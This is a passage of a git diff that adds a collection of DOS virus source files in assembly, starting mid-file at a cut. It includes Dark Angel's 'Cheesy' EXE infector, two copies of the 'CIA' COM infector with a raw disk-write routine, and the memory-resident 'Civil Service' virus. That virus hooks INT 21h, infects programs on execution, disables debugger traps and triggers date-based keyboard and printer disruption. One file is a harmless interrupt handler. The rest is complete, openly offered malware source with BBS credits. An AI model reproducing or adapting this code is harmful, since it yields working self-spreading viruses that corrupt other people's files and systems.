Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/c/CHEESY.ASM b/c/CHEESY.ASM new file mode 100755 index 0000000..013156a --- /dev/null +++ b/c/CHEESY.ASM @@ -0,0 +1,186 @@ + .model tiny ; Handy TASM directive + .code ; Virus code segment + org 100h ; COM file starting IP + ; Cheesy EXE infector + ; Written by Dark Angel of PHALCON/SKISM + ; For 40Hex Number 8 Volume 2 Issue 4 + id = 'DA' ; ID word for EXE infections + + startvirus: ; virus code starts here + call next ; calculate delta offset + next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw + movsw + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + lea dx,[bp+exe_mask] + mov ah,4eh ; find first file + mov cx,7 ; any attribute + findfirstnext: + int 21h ; DS:DX points to mask + jc done_infections ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe + find_next: + mov ah,4fh ; find next file + jmp short findfirstnext + done_infections: + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + pop es + pop ds ; DS->PSP + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[si+jmpsave+2],ax + add ax,word ptr cs:[si+stacksave+2] + cli ; Clear intrpts for stack manip. + mov sp,word ptr cs:[si+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo + jmpsave dd ? ; Original CS:IP + stacksave dd ? ; Original SS:SP + jmpsave2 dd 0fff00000h ; Needed for carrier file + stacksave2 dd ? + + creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0 + virusname db '[DemoEXE] for 40Hex',0 + + infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-startvirus ; add virus size + adc dx, 0 + + mov cl, 9 ; 2**9 = 512 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax ; filesize in pages + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + mov cx, 1ah + finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + + mov ah,40h ; Concatenate virus + lea dx,[bp+startvirus] + mov cx,heap-startvirus ; # bytes to write + int 21h + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + mo_infections: jmp find_next + + open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + + attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + + exe_mask db '*.exe',0 + heap: ; Variables not in code + newDTA db 42 dup (?) ; Temporary DTA + buffer db 1ah dup (?) ; read buffer + endheap: ; End of virus + + end startvirus diff --git a/c/CIA.ASM b/c/CIA.ASM new file mode 100755 index 0000000..b2d0dc0 --- /dev/null +++ b/c/CIA.ASM @@ -0,0 +1,241 @@ + page 70,120 + Name CIAVIRUS +;************************************ +; CIA Virus (C) 1989 by +; Live Wire +;************************************ + + +code segment + assume cs:code +progr equ 100h + ORG progr + +main: + nop + nop + nop + mov ax,00 + mov es:[pointer],ax + mov es:[counter],ax + mov es:[disks],al + mov ah,19h + int 21h + mov cs:drive,al + mov ah,47h + mov dh,0 + add al,1 + mov dl,al + lea si,cs:old_path + int 21h + mov ah,0eh + mov dl,0 + int 21h + mov al,01 + cmp al,01 + jnz hups3 + mov al,06 + +hups3: mov ah,0 + lea bx,search_order + add bx,ax + add bx,0001h + mov cs:pointer,bx + clc + +change_disk: + jnc no_name_change + mov ah,17h + lea dx,cs:maske_exe + int 21h + cmp al,0ffh + jnz no_name_change + mov ah,2ch + int 21h + mov bx,cs:pointer + mov al,cs:[bx] + mov bx,dx + mov cx,2 + mov dh,0 + int 26h + +no_name_change: + mov bx,cs:pointer + dec bx + mov cs:pointer,bx + mov dl,cs:[bx] + cmp dl,0ffh + jnz hups2 + jmp hops + +hups2: + mov ah,0eh + int 21h + mov ah,3bh + lea dx,path + int 21h + jmp find_first_file + +find_first_subdir: + mov ah,17h + lea dx,cs:maske_exe + int 21h + mov ah,3bh + lea dx,path + int 21h + mov ah,04eh + mov cx,00010001b + lea dx,maske_exe + int 21h + jc change_disk + + mov bx,CS:counter + inc bx + dec bx + jz use_next_subdir + +find_next_subdir: + mov ah,4fh + int 21h + jc change_disk + dec bx + jnz find_next_subdir + +use_next_subdir: + mov ah,2fh + int 21h + add bx,1ch + mov es:[bx],'\ ' + inc bx + push ds + mov ax,es + mov ds,ax + mov dx,bx + mov ah,3bh + int 21h + pop ds + mov bx,cs:counter + inc bx + mov cs:counter,bx + +find_first_file: + mov ah,04eh + mov cx,00000001b + lea dx,maske_com + int 21h + jc find_first_subdir + jmp check_if_ill + +find_next_file: + mov ah,4fh + int 21h + jc find_first_subdir + +check_if_ill: + mov ah,3dh + mov al,02h + mov dx,9eh + int 21h + mov bx,ax + mov ah,3fh + mov cx,buflen + mov dx,buffer + int 21h + mov ah,3eh + int 21h + + mov bx,cs:[buffer] + cmp bx,9090h + jz find_next_file + + mov ah,43h + mov al,0 + mov dx,9eh + int 21h + mov ah,43h + mov al,01h + and cx,11111110b + int 21h + + mov ah,3dh + mov al,02h + mov dx,9eh + int 21h + + mov bx,ax + mov ah,57h + mov al,0 + int 21h + push cx + push dx + + mov dx,cs:[conta] + mov cs:[jmpbuf],dx + mov dx,cs:[buffer+1] + lea cx,cont-100h + sub dx,cx + mov cs:[conta],dx + + mov ah,40h + mov cx,buflen + lea dx,main + int 21h + + mov ah,57h + mov al,1 + pop dx + pop cx + int 21h + + mov ah,3eh + int 21h + + mov dx,cs:[jmpbuf] + mov cs:[conta],dx +hops: nop + call use_old + +cont db 0e9h +conta dw 0 + mov ah,00 + int 21h + +use_old: + mov ah,0eh + mov dl,cs:drive + int 21h + + mov ah,3bh + lea dx,old_path-1 + int 21h + ret + +search_order db 0ffh,1,0,2,3,0ffh,00,0ffh +pointer dw 0000 +counter dw 0000 +disks db 0 + + +maske_com db "*.com",00 +maske_dir db "*",00 +maske_exe db 0ffh,0,0,0,0,0,00111111b + db 0,"????????exe",0,0,0,0 + db 0,"????????com",0 +maske_all db 0ffh,0,0,0,0,0,00111111b + db 0,"???????????",0,0,0,0 + db 0,"????????com",0 + +buffer equ 0e000h + +buflen equ 230h +jmpbuf equ buffer+buflen +path db "\",0 +drive db 0 +back_slash db "\" +old_path db 32 dup (?) + +code ends + +end main + + diff --git a/c/CIA2.ASM b/c/CIA2.ASM new file mode 100755 index 0000000..9b8e7eb --- /dev/null +++ b/c/CIA2.ASM @@ -0,0 +1,247 @@ + page 70,120 + Name CIAVIRUS +;************************************ +; CIA Virus (C) 1989 by +; Live Wire +;************************************ + + +code segment + assume cs:code +progr equ 100h + ORG progr + +main: + nop + nop + nop + mov ax,00 + mov es:[pointer],ax + mov es:[counter],ax + mov es:[disks],al + mov ah,19h + int 21h + mov cs:drive,al + mov ah,47h + mov dh,0 + add al,1 + mov dl,al + lea si,cs:old_path + int 21h + mov ah,0eh + mov dl,0 + int 21h + mov al,01 + cmp al,01 + jnz hups3 + mov al,06 + +hups3: mov ah,0 + lea bx,search_order + add bx,ax + add bx,0001h + mov cs:pointer,bx + clc + +change_disk: + jnc no_name_change + mov ah,17h + lea dx,cs:maske_exe + int 21h + cmp al,0ffh + jnz no_name_change + mov ah,2ch + int 21h + mov bx,cs:pointer + mov al,cs:[bx] + mov bx,dx + mov cx,2 + mov dh,0 + int 26h + +no_name_change: + mov bx,cs:pointer + dec bx + mov cs:pointer,bx + mov dl,cs:[bx] + cmp dl,0ffh + jnz hups2 + jmp hops + +hups2: + mov ah,0eh + int 21h + mov ah,3bh + lea dx,path + int 21h + jmp find_first_file + +find_first_subdir: + mov ah,17h + lea dx,cs:maske_exe + int 21h + mov ah,3bh + lea dx,path + int 21h + mov ah,04eh + mov cx,00010001b + lea dx,maske_exe + int 21h + jc change_disk + + mov bx,CS:counter + inc bx + dec bx + jz use_next_subdir + +find_next_subdir: + mov ah,4fh + int 21h + jc change_disk + dec bx + jnz find_next_subdir + +use_next_subdir: + mov ah,2fh + int 21h + add bx,1ch + mov es:[bx],'\ ' + inc bx + push ds + mov ax,es + mov ds,ax + mov dx,bx + mov ah,3bh + int 21h + pop ds + mov bx,cs:counter + inc bx + mov cs:counter,bx + +find_first_file: + mov ah,04eh + mov cx,00000001b + lea dx,maske_com + int 21h + jc find_first_subdir + jmp check_if_ill + +find_next_file: + mov ah,4fh + int 21h + jc find_first_subdir + +check_if_ill: + mov ah,3dh + mov al,02h + mov dx,9eh + int 21h + mov bx,ax + mov ah,3fh + mov cx,buflen + mov dx,buffer + int 21h + mov ah,3eh + int 21h + + mov bx,cs:[buffer] + cmp bx,9090h + jz find_next_file + + mov ah,43h + mov al,0 + mov dx,9eh + int 21h + mov ah,43h + mov al,01h + and cx,11111110b + int 21h + + mov ah,3dh + mov al,02h + mov dx,9eh + int 21h + + mov bx,ax + mov ah,57h + mov al,0 + int 21h + push cx + push dx + + mov dx,cs:[conta] + mov cs:[jmpbuf],dx + mov dx,cs:[buffer+1] + lea cx,cont-100h + sub dx,cx + mov cs:[conta],dx + + mov ah,40h + mov cx,buflen + lea dx,main + int 21h + + mov ah,57h + mov al,1 + pop dx + pop cx + int 21h + + mov ah,3eh + int 21h + + mov dx,cs:[jmpbuf] + mov cs:[conta],dx +hops: nop + call use_old + +cont db 0e9h +conta dw 0 + mov ah,00 + int 21h + +use_old: + mov ah,0eh + mov dl,cs:drive + int 21h + + mov ah,3bh + lea dx,old_path-1 + int 21h + ret + +search_order db 0ffh,1,0,2,3,0ffh,00,0ffh +pointer dw 0000 +counter dw 0000 +disks db 0 + + +maske_com db "*.com",00 +maske_dir db "*",00 +maske_exe db 0ffh,0,0,0,0,0,00111111b + db 0,"????????exe",0,0,0,0 + db 0,"????????com",0 +maske_all db 0ffh,0,0,0,0,0,00111111b + db 0,"???????????",0,0,0,0 + db 0,"????????com",0 + +buffer equ 0e000h + +buflen equ 230h +jmpbuf equ buffer+buflen +path db "\",0 +drive db 0 +back_slash db "\" +old_path db 32 dup (?) + +code ends + +end main + + + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/c/CINT.ASM b/c/CINT.ASM new file mode 100755 index 0000000..fc10d79 --- /dev/null +++ b/c/CINT.ASM @@ -0,0 +1,226 @@ + TITLE LC Interrupt trap routine + NAME LCINT + INCLUDE DOS.MAC ; BE SURE TO INCLUDE THE CORRECT + ; DOS.MAC!! + +;**************************************************************************** +; +; This is the heart of a C driven interrupt handler. This file was used to +; write a critical error handler that remained resident. (It replaced the +; "Abort, Retry, Ignore" prompt with a window.) This file can be adapted to +; any interrupt and any C routine with a little work. THIS HAS BEEN USED ONLY +; IN THE S MODEL. +; +;**************************************************************************** + +DOS_INT EQU 24H ; int to be replaced + +WRITE_INT EQU 25H ; DOS write int vector +READ_INT EQU 35H ; DOS read int vector + +XREG STRUC +REG_AX DW ? ; general purpose registers +REG_BX DW ? +REG_CX DW ? +REG_DX DW ? +REG_SI DW ? +REG_DI DW ? +XREG ENDS + +SREGS STRUC +REG_ES DW ? ; segment registers +REG_CS DW ? +REG_SS DW ? +REG_DS DW ? +SREGS ENDS + + DSEG + + INT_REGS XREG <> ; saved regs. at int time + INT_SEGREGS SREGS <> ; saved seg. regs. + EXTRN _TOP:WORD ; declared by C.ASM -- points + ; to top of stack + ENDDS + + EXTRN INTTIME:NEAR ; your int routine goes here! + + PSEG +;; +; interrupt time data storage +;; +C_ENVIRONMENT_DS DW ? ; filled by int init, used... +C_ENVIRONMENT_ES DW ? ; ...to recreate C environment +C_ENVIRONMENT_SS DW ? +C_ENVIRONMENT_SP DW ? + +INT_TIME_ES DW ? +INT_TIME_DS DW ? ; temp save of DS at int time +INT_TIME_SI DW ? ; temp save of SI at int time + +INT_TIME_BP DW ? ; added to account for no BP or SP... +INT_TIME_SP DW ? ; ...in above structures + +RETURN_VALUE DW ? ; return value from C service routine + +DOS_SERVICE DD ? ; address of DOS Service routine +INT_TWOONE DD ? ; old INT 21 vector + +INT_IN_PROGRESS DB ? ; interrupt in progress flag -- not + ; used here 'cause int 24H cannot be + ; recursive! + +;;************************************************************************** +; name LC_SERVICE_INT +; +; description Entered at (software) interrupt time, this routine +; restores the C enviroment and processes the interrupt +; trapping all references to the quad file +;; + + IF LPROG +LC_SERVICE_INT PROC FAR + ELSE +LC_SERVICE_INT PROC NEAR + ENDIF + + MOV CS:INT_IN_PROGRESS,1 ; clear int in progress flag + + MOV CS:INT_TIME_ES,ES ; save ES so it can be overwritten + MOV CS:INT_TIME_DS,DS ; save DS so it can be overwritten + MOV CS:INT_TIME_SI,SI ; save SI so it can be overwritten + MOV CS:INT_TIME_BP,BP ; save BP as structs do not have it + MOV CS:INT_TIME_SP,SP ; save SP as structs do not have it + + MOV DS,CS:C_ENVIRONMENT_DS ; set up C enviroment + + MOV SI,OFFSET INT_REGS ; point to input regs struct + + MOV DS:[SI].REG_AX,AX ; save general purpose regs + MOV DS:[SI].REG_BX,BX + MOV DS:[SI].REG_CX,CX + MOV DS:[SI].REG_DX,DX + MOV DS:[SI].REG_DI,DI + MOV AX,CS:INT_TIME_SI ; SI has been overwritten + MOV DS:[SI].REG_SI,AX + + MOV SI,OFFSET INT_SEGREGS ; point to input segment regs struct + + MOV AX,CS:INT_TIME_ES ; ES has been overwritten + MOV DS:[SI].REG_ES,AX + MOV DS:[SI].REG_SS,SS + MOV AX,CS:INT_TIME_DS ; DS has been overwritten + MOV DS:[SI].REG_DS,AX + + MOV ES,CS:C_ENVIRONMENT_ES ; complete C environment + MOV SS,CS:C_ENVIRONMENT_SS + MOV SP,CS:C_ENVIRONMENT_SP + + CALL INTTIME ; call the C routine + MOV CS:RETURN_VALUE,AX ; save return value + XOR AX,AX + + MOV SI,OFFSET INT_REGS ; point to input regs struct + + MOV AX,DS:[SI].REG_SI ; SI needs to be saved while used + MOV CS:INT_TIME_SI,AX + + MOV AX,DS:[SI].REG_AX ; restore general purpose regs + MOV BX,DS:[SI].REG_BX + MOV CX,DS:[SI].REG_CX + MOV DX,DS:[SI].REG_DX + MOV DI,DS:[SI].REG_DI + + MOV SI,OFFSET INT_SEGREGS ; point to input segment regs struct + + MOV ES,DS:[SI].REG_DS ; DS needs to be saved while used + MOV CS:INT_TIME_DS,ES + + MOV ES,DS:[SI].REG_ES + MOV SS,DS:[SI].REG_SS + + MOV SI,CS:INT_TIME_SI ; restore pointing registers + MOV DS,CS:INT_TIME_DS + + MOV BP,CS:INT_TIME_BP ; special BP restore + MOV SP,CS:INT_TIME_SP ; special SP restore + + MOV CS:INT_IN_PROGRESS,0 ; clear int in progress flag + + MOV AX,CS:RETURN_VALUE ; move the return value + IRET ; return from interrupt + +LC_SERVICE_INT ENDP + +;**************************************************************************** +; description set up the LC interrupt routines +; +; INT_INIT -- Hooks into the specified int. +; INT_TERM -- Unhooks (restores) the specified int. +; +; NOTE: INT_INIT must be called be int processing can begin...it saves the +; current C environment for use at interrupt time. +;; + + PUBLIC INT_INIT + IF LPROG +INT_INIT PROC FAR + ELSE +INT_INIT PROC NEAR + ENDIF + + PUSH DS ; save changed seg regs + PUSH ES + + MOV CS:C_ENVIRONMENT_DS,DS ; save C environment for int time + MOV CS:C_ENVIRONMENT_ES,ES + MOV CS:C_ENVIRONMENT_SS,SS + + MOV AX,_TOP ; determine int time SP + SUB AX,400H ; gives 1024 byte stack + MOV CS:C_ENVIRONMENT_SP,AX + + MOV AH,READ_INT ; read int vector function + MOV AL,DOS_INT ; specify DOS service vector + INT 21H + + MOV WORD PTR CS:DOS_SERVICE+2,ES ; save current vector + MOV WORD PTR CS:DOS_SERVICE,BX + + LEA DX,LC_SERVICE_INT ; Use DOS to set new int address + PUSH CS + POP DS + MOV AH,WRITE_INT + MOV AL,DOS_INT + INT 21H + + POP ES ; restore changed seg regs + POP DS + RET + +INT_INIT ENDP + +;********************* INT_TERM -- kill ints. ******************************* + + PUBLIC INT_TERM + IF LPROG +INT_TERM PROC FAR + ELSE +INT_TERM PROC NEAR + ENDIF + + PUSH DS ; DS gets changed + + MOV DS,WORD PTR CS:DOS_SERVICE+2 ; Restore previous DOS service vector + MOV DX,WORD PTR CS:DOS_SERVICE + MOV AH,WRITE_INT + MOV AL,DOS_INT + INT 21H + + POP DS ; restore DS + RET +INT_TERM ENDP + + ENDPS + + END + \ No newline at end of file diff --git a/c/CIVIL.ASM b/c/CIVIL.ASM new file mode 100755 index 0000000..407d703 --- /dev/null +++ b/c/CIVIL.ASM @@ -0,0 +1,569 @@ +; Civil Service Virus by Marvin Giskard +; Turbo Assember version 2 + +Exec equ 4B00h +OpenFile equ 3D02h +ReadFile equ 3Fh +WriteFile equ 40h +CloseFile equ 3Eh +EXESign equ 5A4Dh +SeekTop equ 4200h +SeekEnd equ 4202h +GetAttr equ 4300h +SetAttr equ 4301h +GetDT equ 5700h +SetDT equ 5701h +MinSize equ 4h +MaxSize equ 0FBF0h +GetDate equ 2Bh +FileID equ 2206h +MemID equ 4246h ; 'FB' + +.MODEL SMALL +.CODE +ORG 0100h + +Start: + XOR AX, AX + MOV DS, AX + CMP WORD PTR DS:01ACh, MemID + JNE Instl2 + CMP WORD PTR DS:01AEh, FileID + JE NoInstl2 + +Instl2: + CALL InstallInMem + +NoInstl2: + PUSH CS + PUSH CS + POP DS + POP ES + MOV DX, OFFSET FileName + MOV AX, 4B22h + INT 21h + INT 20h + +FileName: DB 'TEST.COM',0 + +AddCode: + JMP OverData + + ; Addcode's data + +Buf: DB 0, 0 ; Miscellaneous Buf +JumpCode: DB 0E9h, 00h, 00h ; Code to be placed at front of file +FSize: DW 0 ; File size +Attr: DB 0 ; Attr of file being infected +FDateTime: DD 0 ; Time and date of file being infected +Generation: DW 0 ; Generation counter +Infected: DW 0 ; Number of files infected +Old24Handler: DD 0 ; Old INT 24h handler +Acts: DB 0 ; Flag to stop reentry +Path: DD 0 + +OverData: + MOV WORD PTR DS:0100h, 0000h + MOV BYTE PTR DS:0102h, 00h + + ; Check if handler already installed by examining 2 words in vector + ; table entry of INT 6Bh + + XOR AX, AX + MOV DS, AX + CMP WORD PTR DS:01ACh, MemID + JNE Instl + CMP WORD PTR DS:01AEh, FileID + JE AlreadyInstalled + +Instl: + CALL InstallInMem + JMP ALreadyInstalled + +InstallInMem: + MOV WORD PTR DS:01ACh, MemID + MOV WORD PTR DS:01AEh, FileID + + PUSH CS + POP DS + + ; Get INT 21h handler in ES:BX. + + MOV AX, 3521h + INT 21h +DoOldOfs: + MOV SI, OFFSET DoOld+1 + MOV [SI], BX + MOV [SI+2], ES + PUSH ES + PUSH BX + POP DX + POP DS + MOV AX, 256Dh + INT 21h + + ; This label is here so that the infect part will be able to calculate + ; source offset of Int21Handler and then place it in here before writing + ; it to disk. The OFFSET AddCode will be replaced by the right number. + +Source: + MOV SI, OFFSET AddCode + + ; Destination e.g. Where program will be placed are now calculated by + ; taking the amount of memory in $0040:$0013. Multiply by 16 to get + ; segment of memory end and then subract amount of blocks needed. + ; This is where routine will be placed. + + MOV AX, 0040h + MOV DS, AX + MOV AX, WORD PTR DS:0013h + MOV CL, 6 + SHL AX, CL + + ; Set dest. segment 2048 pages (32 K) below top of memory. + + SUB AX, 2048 + MOV ES, AX + XOR DI, DI + MOV CX, OFFSET AddCodeEnd - OFFSET AddCode + PUSH CS + POP DS + REP MOVSB + + ; Set INT 21h Handler to point to our routine + + MOV AX, 2521h + PUSH ES + POP DS + MOV DX, OFFSET Int21Handler - OFFSET AddCode + INT 21h + + MOV BYTE PTR DS:[OFFSET Acts-OFFSET AddCode], 0 + + RET + +AlreadyInstalled: + + Call DisTrace + + ; Code to jump back to 0100h + + PUSH CS + PUSH CS + POP DS + POP ES + MOV AX, 0100h + JMP AX + + ; Disable tracing and breakpoint setting for debuggers. + +DisTrace: + MOV AX, 0F000h + MOV DS, AX + MOV DX, 0FFF0h + MOV AX, 2501h + INT 21h + MOV AX, 2503h + INT 21h + RET + +Int21Handler: + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH ES + PUSH DS + + ; Install devious act if seed is right + + MOV AH, 2Ah + INT 6Dh + CMP CX, 1991 + JB Act + CMP DL, 22 + JNE Timer + DB 0EAh, 0F0h, 0FFh, 00h, 0F0h + +Timer: + MOV AH, 25h + CMP DL, 29 + JE Inst1 + CMP DL, 1 + JE Inst2 + CMP DL, 10 + JE Inst3 + CMP DL, 16 + JE Inst4 + JMP Act +Inst1: + MOV AL, 13h + JMP SetVec +Inst2: + MOV AL, 16h + JMP SetVec +Inst3: + MOV AL, 0Dh + JMP SetVec +Inst4: + MOV AL, 10h + +SetVec: + PUSH CS + POP DS + MOV DX, OFFSET Int24Handler - OFFSET AddCode + INT 6Dh + +Act: + MOV AX, 0040h + MOV DS, AX + MOV AX, WORD PTR DS:006Eh + + PUSH CS + POP DS + MOV BH, DS:[OFFSET Acts - OFFSET AddCode] + CMP BH, 3 + JE NoAct + + CMP AX, 22 + JE NoAct + + MOV BYTE PTR [SI], 3 + MOV AX, 3509h + INT 21h + PUSH ES + PUSH BX + POP DX + POP DS + MOV AX, 256Ah + INT 21h + PUSH CS + POP DS + MOV DX, OFFSET Int9Handler - OFFSET AddCode + MOV AX, 2509h + INT 21h + + MOV AX, 3517h + INT 21h + PUSH ES + PUSH BX + POP DX + POP DS + MOV AX, 256Ch + INT 21h + PUSH CS + POP DS + MOV DX, OFFSET Int17Handler - OFFSET AddCode + MOV AX, 2517h + INT 21h + +NoAct: + + POP DS + POP ES + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + + CMP AH, 4Bh + JE Infect +DoOld: + ; This next bytes represent a JMP 0000h:0000h. The 0's will be replaced + ; by the address of the old 21 handler. + DB 0EAh + DD 0 + +DoOldPop: + POP ES + POP DS + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + JMP DoOld + +CloseQuit: + + MOV AX, 2524h + MOV SI, OFFSET Old24Handler-OFFSET AddCode + MOV DX, CS:[SI] + MOV DS, CS:[SI+2] + INT 21h + + PUSH CS + POP DS + MOV SI, OFFSET FDateTime-OFFSET AddCode + MOV CX, DS:[SI] + MOV DX, DS:[SI+2] + MOV AX, SetDT + INT 21h + + MOV AH, CloseFile + INT 21h + + MOV AX, SetAttr + MOV CL, DS:[OFFSET Attr - OFFSET AddCode] + XOR CH, CH + MOV SI, OFFSET Path-OFFSET AddCode + MOV DX, DS:[SI] + MOV DS, DS:[SI+2] + + INT 21h + + JMP DoOldPop + +Infect: + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + PUSH DS + PUSH ES + + ; Get file's attr + + MOV AX, GetAttr + INT 21h + JC CloseQuit + MOV CS:[OFFSET Attr-OFFSET AddCode], CL + + MOV SI, OFFSET Path-OFFSET AddCode + MOV CS:[SI], DX + MOV CS:[SI+2], DS + + ; Get/Set INT 24h handler + + MOV AX, 3524h + INT 21h + MOV SI, OFFSET Old24Handler-OFFSET AddCode + MOV CS:[SI], BX + MOV CS:[SI+2], ES + MOV AX, 2524h + PUSH CS + POP DS + MOV DX, OFFSET Int24Handler-OFFSET AddCode + INT 21h + + ; Set new attribute + + MOV SI, OFFSET Path-OFFSET AddCode + MOV DX, CS:[SI] + MOV DS, CS:[SI+2] + + MOV AX, SetAttr + MOV CX, 0020h + INT 21h + JC CloseQuitFoot + + MOV AX, OpenFile + INT 21h + JC CloseQuitFoot + MOV BX, AX + + ; Get file's time and date and store + + MOV AX, GetDT + INT 21h + JC CloseQuitFoot + PUSH CS + POP DS + MOV SI, OFFSET FDateTime-OFFSET AddCode + MOV DS:[SI], CX + MOV DS:[SI+2], DX + + ; Read first two bytes of file + + MOV AH, ReadFile + MOV CX, 2 + MOV DX, OFFSET OverData+4-OFFSET AddCode + INT 21h + JC CloseQuitFoot + + ; Check if fisrt two bytes identify the file as an EXE file + ; If so, then don't infect the file + + CMP DS:[OFFSET OverData+4-OFFSET AddCode], EXESign + JE CloseQuitFoot + + ; Read next byte + + MOV AH, ReadFile + MOV CX, 1 + MOV DX, OFFSET OverData+10-OFFSET AddCode + INT 21h + JC CloseQuitFoot + + ; Get file size + + MOV AX, SeekEnd + XOR CX, CX + XOR DX, DX + INT 21h + JC CloseQuitFoot + + ; Save filesize and calculate jump offset + + CMP DX, 0 + JG CloseQuitFoot + CMP AX, MinSize + JB CloseQuitFoot + CMP AX, MaxSize + JA CloseQuitFoot + MOV DS:[OFFSET FSize-OFFSET AddCode], AX + MOV CX, AX + SUB AX, 03h + MOV DS:[OFFSET JumpCode+1-OFFSET AddCode], AX + + ; Calculate and store source + + ADD CX, 0100h + MOV [OFFSET Source+1-OFFSET AddCode], CX + + ADD CX, OFFSET DoOld-OFFSET AddCode + MOV [OFFSET DoOldOfs-OFFSET AddCode+1], CX + + JMP OverFoot1 + +CloseQuitFoot: + JMP CloseQuit + +OverFoot1: + ; Read last 2 bytes to see if it is already infected + + MOV AX, SeekTop + XOR CX, CX + MOV DX, [OFFSET FSize-OFFSET AddCode] + SUB DX, 2 + INT 21h + + MOV AH, ReadFile + MOV CX, 2 + MOV DX, OFFSET Buf-OFFSET AddCode + INT 21h + + CMP [OFFSET Buf-OFFSET AddCode], FileID + JE CloseQuitFoot + + ; Prepare to write new jump + + MOV AX, SeekTop + XOR CX, CX + XOR DX, DX + INT 21h + + ; Write new jump + + MOV AH, WriteFile + MOV CX, 3 + MOV DX, OFFSET JumpCode-OFFSET AddCode + INT 21h + + ; Write addcode + ; Code to restore first three bytes is at start of addcode + ; Int21 handler is also included + ; Generation counter is included in data + ; ID is at the end of addcode + + MOV AX, SeekEnd + XOR CX, CX + XOR DX, DX + INT 21h + + ; Increase generation counter before writing it to the new file + + INC WORD PTR [OFFSET Generation - OFFSET AddCode] + + ; Set files infected to 0, for child hasn't infected anyone. + + MOV SI, OFFSET Infected - OFFSET AddCode + PUSH WORD PTR [SI] + MOV WORD PTR [SI], 0 + + MOV AH, WriteFile + MOV DX, OFFSET AddCode - OFFSET AddCode ; 0000 + MOV CX, OFFSET AddCodeEnd - OFFSET AddCode + INT 21h + + ; Decrease counter again, cause all his children should have the same + ; generation count + + DEC WORD PTR [OFFSET Generation - OFFSET AddCode] + + ; Pop number of files infected and incread + + POP AX + INC AX + MOV WORD PTR [OFFSET Infected - OFFSET AddCode], AX + + JMP CloseQuit + +Int24Handler: + XOR AL, AL + IRET + +Int9Handler: + PUSH AX + PUSH CX + PUSH DS + + MOV AX, 0040h + MOV DS, AX + MOV AH, BYTE PTR DS:006Ch + CMP AH, 18 + JA NoChange + MOV CL, 4 + SHL AH, CL + SHR AH, CL + MOV BYTE PTR DS:0017h, AH + +NoChange: + POP DS + POP CX + POP AX + INT 6Ah + IRET + +Int17Handler: + CMP AH, 00h + JNE DoOld17 + PUSH DS + PUSH AX + PUSH BX + MOV BX, 0040h + MOV DS, BX + MOV BH, BYTE PTR DS:006Ch + SHR BH, 1 + SHR BH, 1 + CMP BH, 22h + JE Ignore17 + POP BX + POP AX + POP DS + +DoOld17: + INT 6Ch + IRET + +Ignore17: + POP BX + POP AX + POP DS + IRET + + DW FileID + +AddCodeEnd: + +END Start + diff --git a/c/CIVILWAR.ASM b/c/CIVILWAR.ASM new file mode 100755 index 0000000..800cfc2 --- /dev/null +++ b/c/CIVILWAR.ASM @@ -0,0 +1,303 @@ +;**************************************************************************** +; Civil War II V1.1 * +; * +; Assembled with Tasm 2.5 * +; (c) 1992 Trident/Dark Helmet, The Netherlands * +; * +;**************************************************************************** +; * +; Civil War... * +; * +; "For all I've seen has change my mind * +; But still the wars go on as the years go by * +; With no love for God or human rights * +; 'Cause all these dreams are swept aside * +; By bloody hands of the hypnotized * +; Who carry the cross of homicide * +; And history bears the scars 